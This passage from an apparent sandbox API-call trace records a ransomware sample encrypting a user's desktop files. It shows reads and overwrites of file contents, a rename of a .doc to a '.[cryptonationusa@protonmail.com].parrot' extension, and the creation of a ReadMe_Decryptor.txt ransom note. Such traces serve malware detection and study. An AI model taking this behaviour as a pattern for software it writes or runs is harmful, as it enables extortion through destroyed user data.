| out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18fa94*=0x18438, lpOverlapped=0x0) returned 1 [0033.149] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d49a0 [0033.149] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d49a0 | out: hHeap=0x5b0000) returned 1 [0033.149] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0033.149] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606968 [0033.149] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0033.149] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x5d4d18 [0033.149] GetLastError () returned 0x0 [0033.149] SetLastError (dwErrCode=0x0) [0033.149] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0033.149] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x78) returned 0x5c2700 [0033.149] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606950 [0033.149] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x14) returned 0x5cb6c8 [0033.149] GetLastError () returned 0x0 [0033.149] SetLastError (dwErrCode=0x0) [0033.149] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb6c8 | out: hHeap=0x5b0000) returned 1 [0033.149] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0033.149] GetLastError () returned 0x0 [0033.149] SetLastError (dwErrCode=0x0) [0033.149] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0033.149] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0033.149] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606998 [0033.149] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x5d8fd0 [0033.149] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1033) returned 0x5cce58 [0033.149] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2033) returned 0x5cde98 [0033.149] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cce58 | out: hHeap=0x5b0000) returned 1 [0033.149] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4033) returned 0x629218 [0033.149] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cde98 | out: hHeap=0x5b0000) returned 1 [0033.149] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8033) returned 0x62d258 [0033.150] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x629218 | out: hHeap=0x5b0000) returned 1 [0033.197] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10033) returned 0x635298 [0033.227] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62d258 | out: hHeap=0x5b0000) returned 1 [0033.228] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20033) returned 0x6452d8 [0033.228] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x635298 | out: hHeap=0x5b0000) returned 1 [0033.229] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d49a0 [0033.229] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606998 | out: hHeap=0x5b0000) returned 1 [0033.229] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d49a0 | out: hHeap=0x5b0000) returned 1 [0033.229] GetLastError () returned 0x0 [0033.229] SetLastError (dwErrCode=0x0) [0033.229] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0033.229] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0033.229] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606950 | out: hHeap=0x5b0000) returned 1 [0033.229] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c2700 | out: hHeap=0x5b0000) returned 1 [0033.229] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0033.229] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606cd8 | out: hHeap=0x5b0000) returned 1 [0033.229] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4d18 | out: hHeap=0x5b0000) returned 1 [0033.229] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x100) returned 0x5cbf98 [0033.229] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x180) returned 0x606a50 [0033.229] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cbf98 | out: hHeap=0x5b0000) returned 1 [0033.229] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0033.229] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d49a0 [0033.229] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4960 [0033.229] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d49a0 | out: hHeap=0x5b0000) returned 1 [0033.230] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d49a0 [0033.230] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0033.230] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0033.230] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d49a0 | out: hHeap=0x5b0000) returned 1 [0033.230] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d49a0 [0033.230] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0033.230] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606968 [0033.230] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d49a0 | out: hHeap=0x5b0000) returned 1 [0033.230] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606950 [0033.230] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0033.230] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x5cb6c8 [0033.230] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606950 | out: hHeap=0x5b0000) returned 1 [0033.230] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d448 [0033.230] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb6c8 | out: hHeap=0x5b0000) returned 1 [0033.230] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605358 [0033.230] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d448 | out: hHeap=0x5b0000) returned 1 [0033.230] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c75b8 [0033.230] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0033.230] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b478 [0033.230] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c75b8 | out: hHeap=0x5b0000) returned 1 [0033.230] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x601838 [0033.230] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b478 | out: hHeap=0x5b0000) returned 1 [0033.230] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x5cbf98 [0033.230] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x601838 | out: hHeap=0x5b0000) returned 1 [0033.230] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x5d2058 [0033.230] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cbf98 | out: hHeap=0x5b0000) returned 1 [0033.230] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x5cc550 [0033.230] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d2058 | out: hHeap=0x5b0000) returned 1 [0033.230] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x60c798 [0033.230] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cc550 | out: hHeap=0x5b0000) returned 1 [0033.230] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x6105c0 [0033.230] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60c798 | out: hHeap=0x5b0000) returned 1 [0033.230] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x63f) returned 0x5d33c8 [0033.230] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6105c0 | out: hHeap=0x5b0000) returned 1 [0033.230] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x95e) returned 0x5d4d18 [0033.231] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d33c8 | out: hHeap=0x5b0000) returned 1 [0033.231] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0d) returned 0x5d8fd0 [0033.231] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4d18 | out: hHeap=0x5b0000) returned 1 [0033.231] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1536) returned 0x5cce58 [0033.231] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0033.231] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1fbf) returned 0x5ce398 [0033.231] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cce58 | out: hHeap=0x5b0000) returned 1 [0033.231] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2f8d) returned 0x629218 [0033.231] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5ce398 | out: hHeap=0x5b0000) returned 1 [0033.231] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4742) returned 0x62c1b0 [0033.231] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x629218 | out: hHeap=0x5b0000) returned 1 [0033.231] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6ad1) returned 0x630900 [0033.231] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62c1b0 | out: hHeap=0x5b0000) returned 1 [0033.233] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa028) returned 0x6373e0 [0033.233] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x630900 | out: hHeap=0x5b0000) returned 1 [0033.234] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xf02a) returned 0x665318 [0033.235] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6373e0 | out: hHeap=0x5b0000) returned 1 [0033.235] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1682d) returned 0x629218 [0033.235] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x665318 | out: hHeap=0x5b0000) returned 1 [0033.235] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x21c32) returned 0x665318 [0033.236] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x629218 | out: hHeap=0x5b0000) returned 1 [0033.236] WriteFile (in: hFile=0x258, lpBuffer=0x665320*, nNumberOfBytesToWrite=0x18558, lpNumberOfBytesWritten=0x18fa94, lpOverlapped=0x0 | out: lpBuffer=0x665320*, lpNumberOfBytesWritten=0x18fa94*=0x18558, lpOverlapped=0x0) returned 1 [0033.236] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x665318 | out: hHeap=0x5b0000) returned 1 [0033.236] UnlockFile (hFile=0x258, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x18550, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0033.236] CloseHandle (hObject=0x258) returned 1 [0033.238] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x606bd8 [0033.238] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd0) returned 0x5d7858 [0033.238] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606bd8 | out: hHeap=0x5b0000) returned 1 [0033.238] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\xPcPJw2tmQ2ALIu.doc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\xpcpjw2tmq2aliu.doc"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\xPcPJw2tmQ2ALIu.doc.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\xpcpjw2tmq2aliu.doc.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0033.239] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d7858 | out: hHeap=0x5b0000) returned 1 [0033.239] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606a50 | out: hHeap=0x5b0000) returned 1 [0033.239] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6452d8 | out: hHeap=0x5b0000) returned 1 [0033.239] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x50) returned 0x5eba80 [0033.239] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x60c5e8 [0033.239] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d49a0 [0033.239] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4960 [0033.239] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ReadMe_Decryptor.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18f888, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x258 [0033.240] GetFileType (hFile=0x258) returned 0x1 [0033.240] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x5d4d18 [0033.250] lstrcmpW (lpString1="xpdd09ihfgv9h.m4a", lpString2="ReadMe_Decryptor.txt") returned 1 [0033.251] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\xpdd09ihfgv9h.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\xpdd09ihfgv9h.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x258 [0033.251] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x18fb10 | out: lpFileSizeHigh=0x18fb10*=0x0) returned 0x670f [0033.251] LockFile (hFile=0x258, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x6827, nNumberOfBytesToLockHigh=0x0) returned 1 [0033.251] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0033.251] ReadFile (in: hFile=0x258, lpBuffer=0x18faf0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fa94, lpOverlapped=0x0 | out: lpBuffer=0x18faf0*, lpNumberOfBytesRead=0x18fa94*=0x18, lpOverlapped=0x0) returned 1 [0033.251] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0033.251] ReadFile (in: hFile=0x258, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x670f, lpNumberOfBytesRead=0x18fa94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18fa94*=0x670f, lpOverlapped=0x0) returned 1 [0033.251] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d49a0 [0033.251] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d49a0 | out: hHeap=0x5b0000) returned 1 [0033.251] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0033.251] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606950 [0033.251] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0033.251] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x5d4d18 [0033.252] GetLastError () returned 0x0 [0033.252] SetLastError (dwErrCode=0x0) [0033.252] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0033.252] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x78) returned 0x5c2700 [0033.252] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606968 [0033.252] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x14) returned 0x5cb6c8 [0033.252] GetLastError () returned 0x0 [0033.252] SetLastError (dwErrCode=0x0) [0033.252] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb6c8 | out: hHeap=0x5b0000) returned 1 [0033.252] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0033.252] GetLastError () returned 0x0 [0033.252] SetLastError (dwErrCode=0x0) [0033.252] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0033.252] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0033.252] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606998 [0033.252] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x5d8fd0 [0033.252] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1033) returned 0x5cce58 [0033.252] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2033) returned 0x5cde98 [0033.253] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cce58 | out: hHeap=0x5b0000) returned 1 [0033.253] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4033) returned 0x629218 [0033.253] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cde98 | out: hHeap=0x5b0000) returned 1 [0033.253] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8033) returned 0x62d258 [0033.253] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x629218 | out: hHeap=0x5b0000) returned 1 [0033.254] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xf) returned 0x6069b0 [0033.254] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606998 | out: hHeap=0x5b0000) returned 1 [0033.255] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6069b0 | out: hHeap=0x5b0000) returned 1 [0033.255] GetLastError () returned 0x0 [0033.255] SetLastError (dwErrCode=0x0) [0033.255] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0033.255] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0033.255] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0033.255] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c2700 | out: hHeap=0x5b0000) returned 1 [0033.255] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606950 | out: hHeap=0x5b0000) returned 1 [0033.255] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606cd8 | out: hHeap=0x5b0000) returned 1 [0033.255] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4d18 | out: hHeap=0x5b0000) returned 1 [0033.255] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x100) returned 0x5cbf98 [0033.255] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x180) returned 0x606a50 [0033.255] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cbf98 | out: hHeap=0x5b0000) returned 1 [0033.255] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0033.255] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d49a0 [0033.255] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4960 [0033.255] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d49a0 | out: hHeap=0x5b0000) returned 1 [0033.255] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d49a0 [0033.255] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0033.255] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0033.255] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d49a0 | out: hHeap=0x5b0000) returned 1 [0033.255] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d49a0 [0033.255] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0033.255] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606950 [0033.255] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d49a0 | out: hHeap=0x5b0000) returned 1 [0033.255] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606968 [0033.255] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606950 | out: hHeap=0x5b0000) returned 1 [0033.255] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x5cb6c8 [0033.255] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0033.255] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d448 [0033.255] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb6c8 | out: hHeap=0x5b0000) returned 1 [0033.255] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605358 [0033.255] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d448 | out: hHeap=0x5b0000) returned 1 [0033.255] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c75b8 [0033.255] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0033.256] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b478 [0033.256] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c75b8 | out: hHeap=0x5b0000) returned 1 [0033.256] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x601838 [0033.256] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b478 | out: hHeap=0x5b0000) returned 1 [0033.256] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x5cbf98 [0033.256] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x601838 | out: hHeap=0x5b0000) returned 1 [0033.256] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x5d2058 [0033.256] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cbf98 | out: hHeap=0x5b0000) returned 1 [0033.256] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x5cc550 [0033.256] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d2058 | out: hHeap=0x5b0000) returned 1 [0033.256] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x60c798 [0033.256] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cc550 | out: hHeap=0x5b0000) returned 1 [0033.256] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x6105c0 [0033.256] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60c798 | out: hHeap=0x5b0000) returned 1 [0033.256] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x63f) returned 0x5d33c8 [0033.256] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6105c0 | out: hHeap=0x5b0000) returned 1 [0033.256] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x95e) returned 0x5d4d18 [0033.256] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d33c8 | out: hHeap=0x5b0000) returned 1 [0033.256] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0d) returned 0x5d8fd0 [0033.256] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4d18 | out: hHeap=0x5b0000) returned 1 [0033.256] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1536) returned 0x5cce58 [0033.256] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0033.256] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1fbf) returned 0x5ce398 [0033.256] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cce58 | out: hHeap=0x5b0000) returned 1 [0033.256] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2f8d) returned 0x629218 [0033.257] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5ce398 | out: hHeap=0x5b0000) returned 1 [0033.257] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4742) returned 0x635298 [0033.258] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x629218 | out: hHeap=0x5b0000) returned 1 [0033.258] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6ad1) returned 0x6399e8 [0033.258] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x635298 | out: hHeap=0x5b0000) returned 1 [0033.258] WriteFile (in: hFile=0x258, lpBuffer=0x639a00*, nNumberOfBytesToWrite=0x6828, lpNumberOfBytesWritten=0x18fa94, lpOverlapped=0x0 | out: lpBuffer=0x639a00*, lpNumberOfBytesWritten=0x18fa94*=0x6828, lpOverlapped=0x0) returned 1 [0033.258] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6399e8 | out: hHeap=0x5b0000) returned 1 [0033.258] UnlockFile (hFile=0x258, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x6827, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0033.258] CloseHandle (hObject=0x258) returned 1 [0033.259] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x5e9a18 [0033.259] RtlAllocateHeap (HeapHandle=0x5b0000, 